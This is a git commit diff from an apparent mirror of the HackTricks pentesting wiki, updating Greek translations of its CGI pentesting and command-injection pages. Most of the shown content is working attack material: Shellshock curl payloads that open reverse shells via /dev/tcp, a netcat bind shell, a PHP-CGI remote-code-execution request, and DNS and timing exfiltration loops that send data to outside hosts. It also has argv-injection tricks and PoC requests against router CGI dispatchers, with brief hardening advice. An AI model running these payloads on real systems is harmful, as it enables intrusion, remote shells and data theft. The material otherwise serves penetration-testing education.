mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['', 'src/network-services-pentesting/pentesting-web/cgi.md',
This commit is contained in:
		
							parent
							
								
									deb682f36a
								
							
						
					
					
						commit
						316683a49d
					
				| @ -1,26 +1,30 @@ | ||||
| # CGI Pentesting | ||||
| 
 | ||||
| {{#include ../../banners/hacktricks-training.md}} | ||||
| 
 | ||||
| # Πληροφορίες | ||||
| 
 | ||||
| Τα **CGI scripts είναι perl scripts**, οπότε, αν έχετε παραβιάσει έναν διακομιστή που μπορεί να εκτελεί _**.cgi**_ scripts μπορείτε να **ανεβάσετε ένα perl reverse shell** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **να αλλάξετε την επέκταση** από **.pl** σε **.cgi**, να δώσετε **δικαιώματα εκτέλεσης** \(`chmod +x`\) και να **πρόσβαση** στο reverse shell **από τον περιηγητή** για να το εκτελέσετε. Για να δοκιμάσετε για **CGI vulns** συνιστάται να χρησιμοποιήσετε `nikto -C all` \(και όλα τα plugins\) | ||||
| ## Πληροφορίες | ||||
| 
 | ||||
| # **ShellShock** | ||||
| Τα **CGI scripts είναι perl scripts**, οπότε, αν έχετε συμβιβάσει έναν server που μπορεί να εκτελέσει _**.cgi**_ scripts μπορείτε να **ανεβάσετε ένα perl reverse shell** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **αλλάξετε την επέκταση** από **.pl** σε **.cgi**, δώσετε **δικαιώματα εκτέλεσης** \(`chmod +x`\) και **πρόσβαση** στο reverse shell **από τον web browser** για να το εκτελέσετε. | ||||
| Για να ελέγξετε για **CGI vulns** συνιστάται η χρήση `nikto -C all` \(και όλα τα plugins\) | ||||
| 
 | ||||
| Το **ShellShock** είναι μια **ευπάθεια** που επηρεάζει το ευρέως χρησιμοποιούμενο **Bash** command-line shell σε λειτουργικά συστήματα βασισμένα σε Unix. Στοχεύει στην ικανότητα του Bash να εκτελεί εντολές που περνούν από εφαρμογές. Η ευπάθεια έγκειται στη χειραγώγηση των **μεταβλητών περιβάλλοντος**, οι οποίες είναι δυναμικές ονομασμένες τιμές που επηρεάζουν το πώς εκτελούνται οι διαδικασίες σε έναν υπολογιστή. Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν αυτό προσ attaching **κακόβουλο κώδικα** σε μεταβλητές περιβάλλοντος, ο οποίος εκτελείται μόλις ληφθεί η μεταβλητή. Αυτό επιτρέπει στους επιτιθέμενους να παραβιάσουν δυνητικά το σύστημα. | ||||
| ## **ShellShock** | ||||
| 
 | ||||
| Εκμεταλλευόμενοι αυτή την ευπάθεια, η **σελίδα θα μπορούσε να ρίξει ένα σφάλμα**. | ||||
| **ShellShock** είναι μια **ευπάθεια** που επηρεάζει το ευρέως χρησιμοποιούμενο κέλυφος γραμμής εντολών **Bash** σε Unix-based λειτουργικά συστήματα. Στοχεύει την ικανότητα του Bash να τρέχει εντολές που του περνάνε εφαρμογές. Η ευπάθεια εντοπίζεται στη χειραγώγηση των **μεταβλητών περιβάλλοντος (environment variables)**, που είναι δυναμικές ονομαστικές τιμές που επηρεάζουν τον τρόπο εκτέλεσης διεργασιών σε έναν υπολογιστή. Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν αυτό προσθέτοντας **κακόβουλο κώδικα** σε environment variables, ο οποίος εκτελείται όταν η μεταβλητή λαμβάνεται. Αυτό επιτρέπει σε επιτιθέμενους να ενδεχομένως συμβιβάσουν το σύστημα. | ||||
| 
 | ||||
| Μπορείτε να **βρείτε** αυτή την ευπάθεια παρατηρώντας ότι χρησιμοποιεί μια **παλιά έκδοση Apache** και **cgi_mod** \(με φάκελο cgi\) ή χρησιμοποιώντας **nikto**. | ||||
| Εκμεταλλευόμενη αυτή την ευπάθεια η **σελίδα μπορεί να εμφανίσει σφάλμα**. | ||||
| 
 | ||||
| ## **Δοκιμή** | ||||
| Μπορείτε να **εντοπίσετε** αυτή την ευπάθεια παρατηρώντας ότι χρησιμοποιεί μια **παλιά έκδοση Apache** και **cgi_mod** \(με φάκελο cgi\) ή χρησιμοποιώντας **nikto**. | ||||
| 
 | ||||
| Οι περισσότερες δοκιμές βασίζονται στο να εκτυπώνουν κάτι και να περιμένουν ότι αυτή η συμβολοσειρά θα επιστραφεί στην απάντηση του ιστού. Αν νομίζετε ότι μια σελίδα μπορεί να είναι ευάλωτη, αναζητήστε όλες τις σελίδες cgi και δοκιμάστε τις. | ||||
| ### **Δοκιμή** | ||||
| 
 | ||||
| Οι περισσότερες δοκιμές βασίζονται στο echo κάποιου κειμένου και αναμένουν ότι αυτή η συμβολοσειρά θα επιστραφεί στην web απάντηση. Αν νομίζετε ότι μια σελίδα μπορεί να είναι ευάλωτη, αναζητήστε όλες τις cgi σελίδες και δοκιμάστε τις. | ||||
| 
 | ||||
| **Nmap** | ||||
| ```bash | ||||
| nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi | ||||
| ``` | ||||
| ## **Curl \(αντανάκλαση, τυφλό και εκτός ζώνης\)** | ||||
| ## **Curl \(reflected, blind and out-of-band\)** | ||||
| ```bash | ||||
| # Reflected | ||||
| curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE' | ||||
| @ -33,7 +37,7 @@ curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http: | ||||
| ```bash | ||||
| python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi | ||||
| ``` | ||||
| ## Εκμετάλλευση | ||||
| ### Exploit | ||||
| ```bash | ||||
| #Bind Shell | ||||
| $ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8 | ||||
| @ -47,23 +51,57 @@ curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' htt | ||||
| > set rhosts 10.1.2.11 | ||||
| > run | ||||
| ``` | ||||
| # **Proxy \(MitM σε αιτήματα Web server\)** | ||||
| ## Κεντροποιημένοι CGI dispatchers (δρομολόγηση ενός μοναδικού endpoint μέσω παραμέτρων επιλογέα) | ||||
| 
 | ||||
| Το CGI δημιουργεί μια μεταβλητή περιβάλλοντος για κάθε κεφαλίδα στο http αίτημα. Για παράδειγμα: "host:web.com" δημιουργείται ως "HTTP_HOST"="web.com" | ||||
| Πολλές ενσωματωμένες web UIs πολυπλέκουν δεκάδες προνομιούχες ενέργειες πίσω από ένα μοναδικό CGI endpoint (π.χ. `/cgi-bin/cstecgi.cgi`) και χρησιμοποιούν παράμετρο επιλογέα όπως `topicurl=<handler>` για να δρομολογήσουν το αίτημα σε μια εσωτερική συνάρτηση. | ||||
| 
 | ||||
| Καθώς η μεταβλητή HTTP_PROXY θα μπορούσε να χρησιμοποιηθεί από τον web server. Προσπαθήστε να στείλετε μια **κεφαλίδα** που περιέχει: "**Proxy: <IP_attacker>:<PORT>**" και αν ο server εκτελέσει οποιοδήποτε αίτημα κατά τη διάρκεια της συνεδρίας. Θα μπορείτε να καταγράψετε κάθε αίτημα που γίνεται από τον server. | ||||
| Μεθοδολογία για την εκμετάλλευση αυτών των δρομολογητών: | ||||
| 
 | ||||
| # Old PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\) | ||||
| - Enumerate handler names: scrape JS/HTML, brute-force with wordlists, or unpack firmware and grep for handler strings used by the dispatcher. | ||||
| - Test unauthenticated reachability: some handlers forget auth checks and are directly callable. | ||||
| - Focus on handlers that invoke system utilities or touch files; weak validators often only block a few characters and might miss the leading hyphen `-`. | ||||
| 
 | ||||
| Βασικά, αν το cgi είναι ενεργό και το php είναι "παλιό" \(<5.3.12 / < 5.4.2\) μπορείτε να εκτελέσετε κώδικα. | ||||
| Για να εκμεταλλευτείτε αυτήν την ευπάθεια, πρέπει να έχετε πρόσβαση σε κάποιο αρχείο PHP του web server χωρίς να στείλετε παραμέτρους \(ειδικά χωρίς να στείλετε τον χαρακτήρα "="\). | ||||
| Στη συνέχεια, για να δοκιμάσετε αυτήν την ευπάθεια, θα μπορούσατε να έχετε πρόσβαση για παράδειγμα στο `/index.php?-s` \(σημειώστε το `-s`\) και **ο πηγαίος κώδικας της εφαρμογής θα εμφανιστεί στην απάντηση**. | ||||
| Γενικά σχήματα exploit: | ||||
| ```http | ||||
| POST /cgi-bin/cstecgi.cgi HTTP/1.1 | ||||
| Content-Type: application/x-www-form-urlencoded | ||||
| 
 | ||||
| Στη συνέχεια, για να αποκτήσετε **RCE** μπορείτε να στείλετε αυτήν την ειδική ερώτηση: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` και τον **PHP κώδικα** που θα εκτελείται στο **σώμα του αιτήματος. Παράδειγμα:** | ||||
| # 1) Option/flag injection (no shell metacharacters): flip argv of downstream tools | ||||
| topicurl=<handler>¶m=-n | ||||
| 
 | ||||
| # 2) Parameter-to-shell injection (classic RCE) when a handler concatenates into a shell | ||||
| topicurl=setEasyMeshAgentCfg&agentName=;id; | ||||
| 
 | ||||
| # 3) Validator bypass → arbitrary file write in file-touching handlers | ||||
| topicurl=setWizardCfg&<crafted_fields>=/etc/init.d/S99rc | ||||
| ``` | ||||
| Εντοπισμός και θωράκιση: | ||||
| 
 | ||||
| - Παρακολουθήστε για μη-εξουσιοδοτημένα αιτήματα προς κεντρικά CGI endpoints με `topicurl` ρυθμισμένο σε ευαίσθητους handlers. | ||||
| - Σημαδέψτε παραμέτρους που ξεκινούν με `-` (argv option injection attempts). | ||||
| - Vendors: επιβάλετε authentication σε όλους τους state-changing handlers, επικυρώστε με αυστηρές allowlists/types/lengths, και μην περνάτε ποτέ user-controlled strings ως command-line flags. | ||||
| 
 | ||||
| ## Παλιό PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\) | ||||
| 
 | ||||
| Βασικά, αν cgi είναι ενεργό και php είναι "old" \(<5.3.12 / < 5.4.2\) μπορείτε να εκτελέσετε κώδικα. | ||||
| Για να εκμεταλλευτείτε αυτή την ευπάθεια πρέπει να αποκτήσετε πρόσβαση σε κάποιο PHP αρχείο του web server χωρίς να στείλετε παραμέτρους \(ειδικά χωρίς να στείλετε τον χαρακτήρα "="\). | ||||
| Για να δοκιμάσετε αυτή την ευπάθεια, μπορείτε να προσπελάσετε για παράδειγμα `/index.php?-s` \(σημειώστε το `-s`\) και **ο source code της εφαρμογής θα εμφανιστεί στην απάντηση**. | ||||
| 
 | ||||
| Στη συνέχεια, για να αποκτήσετε **RCE** μπορείτε να στείλετε το ειδικό ερώτημα: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` και ο **PHP code** που θα εκτελεστεί στο **body του αιτήματος**. | ||||
| Παράδειγμα: | ||||
| ```bash | ||||
| curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input" | ||||
| ``` | ||||
| **Περισσότερες πληροφορίες σχετικά με την ευπάθεια και τις πιθανές εκμεταλλεύσεις:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.** | ||||
| **Περισσότερες πληροφορίες για το vuln και πιθανές exploits:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.** | ||||
| 
 | ||||
| ## **Proxy \(MitM to Web server requests\)** | ||||
| 
 | ||||
| Το CGI δημιουργεί μια environment variable για κάθε header στο http request. Για παράδειγμα: "host:web.com" δημιουργείται ως "HTTP_HOST"="web.com" | ||||
| 
 | ||||
| Καθώς η μεταβλητή HTTP_PROXY μπορεί να χρησιμοποιηθεί από τον web server, δοκιμάστε να στείλετε ένα **header** που περιέχει: "**Proxy: <IP_attacker>:<PORT>**". Αν ο server πραγματοποιήσει κάποια αίτηση κατά τη διάρκεια της συνεδρίας, θα μπορείτε να καταγράψετε κάθε αίτηση που κάνει ο server. | ||||
| 
 | ||||
| ## **Αναφορές** | ||||
| 
 | ||||
| - [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/) | ||||
| 
 | ||||
| {{#include ../../banners/hacktricks-training.md}} | ||||
|  | ||||
| @ -2,13 +2,13 @@ | ||||
| 
 | ||||
| {{#include ../banners/hacktricks-training.md}} | ||||
| 
 | ||||
| ## Τι είναι command Injection; | ||||
| ## Τι είναι command Injection? | ||||
| 
 | ||||
| Ένα **command injection** επιτρέπει την εκτέλεση αυθαίρετων operating system commands από έναν attacker στον server που φιλοξενεί μια application. Ως αποτέλεσμα, η application και όλα τα δεδομένα της μπορούν να παραβιαστούν πλήρως. Η εκτέλεση αυτών των εντολών συνήθως επιτρέπει στον attacker να αποκτήσει μη εξουσιοδοτημένη πρόσβαση ή έλεγχο στο περιβάλλον της application και στο underlying system. | ||||
| Μια **command injection** επιτρέπει την εκτέλεση αυθαίρετων εντολών του λειτουργικού συστήματος από έναν επιτιθέμενο στον διακομιστή που φιλοξενεί μια εφαρμογή. Ως αποτέλεσμα, η εφαρμογή και όλα τα δεδομένα της μπορούν να παραβιαστούν πλήρως. Η εκτέλεση αυτών των εντολών συνήθως επιτρέπει στον επιτιθέμενο να αποκτήσει μη εξουσιοδοτημένη πρόσβαση ή έλεγχο στο περιβάλλον της εφαρμογής και στο υποκείμενο σύστημα. | ||||
| 
 | ||||
| ### Πλαίσιο | ||||
| 
 | ||||
| Ανάλογα με **πού εγχέεται το input σας**, μπορεί να χρειαστεί να **τερματίσετε το quoted context** (χρησιμοποιώντας `"` ή `'`) πριν από τις εντολές. | ||||
| Ανάλογα με το **πού εγχέεται το input σας** μπορεί να χρειαστεί να **τερματίσετε το quoted context** (χρησιμοποιώντας `"` ή `'`) πριν τις εντολές. | ||||
| 
 | ||||
| ## Command Injection/Execution | ||||
| ```bash | ||||
| @ -30,9 +30,10 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful | ||||
| > /var/www/html/out.txt #Try to redirect the output to a file | ||||
| < /etc/passwd #Try to send some input to the command | ||||
| ``` | ||||
| ### **Περιορισμοί** Παρακάμψεις | ||||
| ### **Limition** Bypasses | ||||
| 
 | ||||
| Αν προσπαθείτε να εκτελέσετε **arbitrary commands inside a linux machine** θα σας ενδιαφέρει να διαβάσετε για αυτά τα **Bypasses:** | ||||
| 
 | ||||
| Αν προσπαθείτε να εκτελέσετε **οποιαδήποτε εντολή σε linux μηχάνημα**, μπορεί να σας ενδιαφέρει να διαβάσετε για αυτές τις **Παρακάμψεις:** | ||||
| 
 | ||||
| {{#ref}} | ||||
| ../linux-hardening/bypass-bash-restrictions/ | ||||
| @ -46,7 +47,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod | ||||
| ``` | ||||
| ### Παράμετροι | ||||
| 
 | ||||
| Ακολουθούν οι 25 κορυφαίες παράμετροι που θα μπορούσαν να είναι ευάλωτες σε code injection και παρόμοιες RCE ευπάθειες (από [link](https://twitter.com/trbughunters/status/1283133356922884096)): | ||||
| Ακολουθούν οι κορυφαίες 25 παράμετροι που θα μπορούσαν να είναι ευάλωτες σε code injection και παρόμοιες RCE ευπάθειες (από [link](https://twitter.com/trbughunters/status/1283133356922884096)): | ||||
| ``` | ||||
| ?cmd={payload} | ||||
| ?exec={payload} | ||||
| @ -76,7 +77,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod | ||||
| ``` | ||||
| ### Time based data exfiltration | ||||
| 
 | ||||
| Εξαγωγή δεδομένων: χαρακτήρα ανά χαρακτήρα | ||||
| Εξαγωγή δεδομένων: char by char | ||||
| ``` | ||||
| swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi | ||||
| real    0m5.007s | ||||
| @ -90,7 +91,7 @@ sys 0m0.000s | ||||
| ``` | ||||
| ### DNS based data exfiltration | ||||
| 
 | ||||
| Βασίζεται στο εργαλείο από `https://github.com/HoLyVieR/dnsbin`, το οποίο φιλοξενείται επίσης στο dnsbin.zhack.ca | ||||
| Βασισμένο στο εργαλείο από `https://github.com/HoLyVieR/dnsbin` που φιλοξενείται επίσης στο dnsbin.zhack.ca | ||||
| ``` | ||||
| 1. Go to http://dnsbin.zhack.ca/ | ||||
| 2. Execute a simple 'ls' | ||||
| @ -100,7 +101,7 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done | ||||
| ``` | ||||
| $(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il) | ||||
| ``` | ||||
| Διαδικτυακά εργαλεία για έλεγχο για DNS based data exfiltration: | ||||
| Online εργαλεία για να ελέγξετε για DNS based data exfiltration: | ||||
| 
 | ||||
| - dnsbin.zhack.ca | ||||
| - pingb.in | ||||
| @ -121,7 +122,7 @@ powershell C:**2\n??e*d.*? # notepad | ||||
| 
 | ||||
| ### Node.js `child_process.exec` vs `execFile` | ||||
| 
 | ||||
| Κατά τον έλεγχο JavaScript/TypeScript back-ends, θα συναντάτε συχνά το Node.js `child_process` API. | ||||
| Κατά τον έλεγχο backend εφαρμογών σε JavaScript/TypeScript, συχνά θα συναντήσετε το Node.js `child_process` API. | ||||
| ```javascript | ||||
| // Vulnerable: user-controlled variables interpolated inside a template string | ||||
| const { exec } = require('child_process'); | ||||
| @ -129,9 +130,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay | ||||
| /* … */ | ||||
| }); | ||||
| ``` | ||||
| `exec()` εκκινεί ένα **shell** (`/bin/sh -c`), επομένως οποιοσδήποτε χαρακτήρας που έχει ειδικό νόημα για το shell (back-ticks, `;`, `&&`, `|`, `$()`, …) θα έχει ως αποτέλεσμα **command injection** όταν η είσοδος του χρήστη συνενώνεται στη συμβολοσειρά. | ||||
| `exec()` εκκινεί ένα **shell** (`/bin/sh -c`), επομένως οποιοσδήποτε χαρακτήρας που έχει ειδικό νόημα για το shell (back-ticks, `;`, `&&`, `|`, `$()`, …) θα οδηγήσει σε **command injection** όταν η είσοδος του χρήστη συγχωνεύεται σε μια συμβολοσειρά. | ||||
| 
 | ||||
| **Mitigation:**  χρησιμοποιήστε `execFile()` (ή `spawn()` χωρίς την `shell` επιλογή) και παρέχετε **κάθε όρισμα ως ξεχωριστό στοιχείο πίνακα** ώστε να μην εμπλέκεται το shell: | ||||
| **Αντιμετώπιση:**  χρησιμοποιήστε `execFile()` (ή `spawn()` χωρίς την επιλογή `shell`) και παρέχετε **κάθε όρισμα ως ξεχωριστό στοιχείο πίνακα** ώστε να μην εμπλέκεται shell: | ||||
| ```javascript | ||||
| const { execFile } = require('child_process'); | ||||
| execFile('/usr/bin/do-something', [ | ||||
| @ -139,8 +140,37 @@ execFile('/usr/bin/do-something', [ | ||||
| '--payload', JSON.stringify(payload) | ||||
| ]); | ||||
| ``` | ||||
| Πραγματικό περιστατικό: *Synology Photos* ≤ 1.7.0-0794 ήταν εκμεταλλεύσιμο μέσω ενός μη-επαληθευμένου WebSocket event που τοποθέτησε δεδομένα υπό τον έλεγχο του attacker στο `id_user`, τα οποία αργότερα ενσωματώθηκαν σε κλήση `exec()`, επιτυγχάνοντας RCE (Pwn2Own Ireland 2024). | ||||
| Πραγματική περίπτωση: *Synology Photos* ≤ 1.7.0-0794 ήταν εκτεθειμένο μέσω ενός μη πιστοποιημένου WebSocket event που τοποθέτησε attacker controlled δεδομένα στο `id_user` τα οποία αργότερα ενσωματώθηκαν σε μια κλήση `exec()`, επιτυγχάνοντας RCE (Pwn2Own Ireland 2024). | ||||
| 
 | ||||
| ### Argument/Option injection via leading hyphen (argv, no shell metacharacters) | ||||
| 
 | ||||
| Δεν απαιτούν όλες οι εγχύσεις shell metacharacters. Αν η εφαρμογή περνάει μη αξιόπιστες συμβολοσειρές ως ορίσματα σε ένα system utility (ακόμα και με `execve`/`execFile` και χωρίς shell), πολλά προγράμματα θα εξακολουθούν να αναλύουν οποιοδήποτε όρισμα που ξεκινά με `-` ή `--` ως επιλογή. Αυτό επιτρέπει σε έναν attacker να αλλάξει λειτουργίες, να αλλάξει μονοπάτια εξόδου ή να ενεργοποιήσει επικίνδυνες συμπεριφορές χωρίς ποτέ να εισέλθει σε ένα shell. | ||||
| 
 | ||||
| Τυπικά σημεία όπου αυτό εμφανίζεται: | ||||
| 
 | ||||
| - Embedded web UIs/CGI handlers που κατασκευάζουν εντολές όπως `ping <user>`, `tcpdump -i <iface> -w <file>`, `curl <url>`, κ.λπ. | ||||
| - Centralized CGI routers (π.χ. `/cgi-bin/<something>.cgi` με παράμετρο selector όπως `topicurl=<handler>`) όπου πολλαπλοί handlers επαναχρησιμοποιούν τον ίδιο αδύναμο validator. | ||||
| 
 | ||||
| Τι να δοκιμάσετε: | ||||
| 
 | ||||
| - Δώστε τιμές που ξεκινούν με `-`/`--` για να καταναλωθούν ως flags από το downstream tool. | ||||
| - Κακομεταχειριστείτε flags που αλλάζουν συμπεριφορά ή γράφουν αρχεία, για παράδειγμα: | ||||
| - `ping`: `-f`/`-c 100000` για να καταπονήσετε τη συσκευή (DoS) | ||||
| - `curl`: `-o /tmp/x` για να γράψετε σε αυθαίρετα μονοπάτια, `-K <url>` για να φορτώσετε attacker-controlled config | ||||
| - `tcpdump`: `-G 1 -W 1 -z /path/script.sh` για να επιτύχετε post-rotate execution σε unsafe wrappers | ||||
| - Αν το πρόγραμμα υποστηρίζει το `--` (end-of-options), δοκιμάστε να παρακάμψετε αφελείς mitigations που προθέτουν `--` στο λάθος σημείο. | ||||
| 
 | ||||
| Generic PoC shapes against centralized CGI dispatchers: | ||||
| ``` | ||||
| POST /cgi-bin/cstecgi.cgi HTTP/1.1 | ||||
| Content-Type: application/x-www-form-urlencoded | ||||
| 
 | ||||
| # Flip options in a downstream tool via argv injection | ||||
| topicurl=<handler>¶m=-n | ||||
| 
 | ||||
| # Unauthenticated RCE when a handler concatenates into a shell | ||||
| topicurl=setEasyMeshAgentCfg&agentName=;id; | ||||
| ``` | ||||
| ## Brute-Force Detection List | ||||
| 
 | ||||
| 
 | ||||
| @ -156,5 +186,6 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_inject | ||||
| - [Extraction of Synology encrypted archives – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html) | ||||
| - [PHP proc_open manual](https://www.php.net/manual/en/function.proc-open.php) | ||||
| - [HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html) | ||||
| - [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/) | ||||
| 
 | ||||
| {{#include ../banners/hacktricks-training.md}} | ||||
|  | ||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user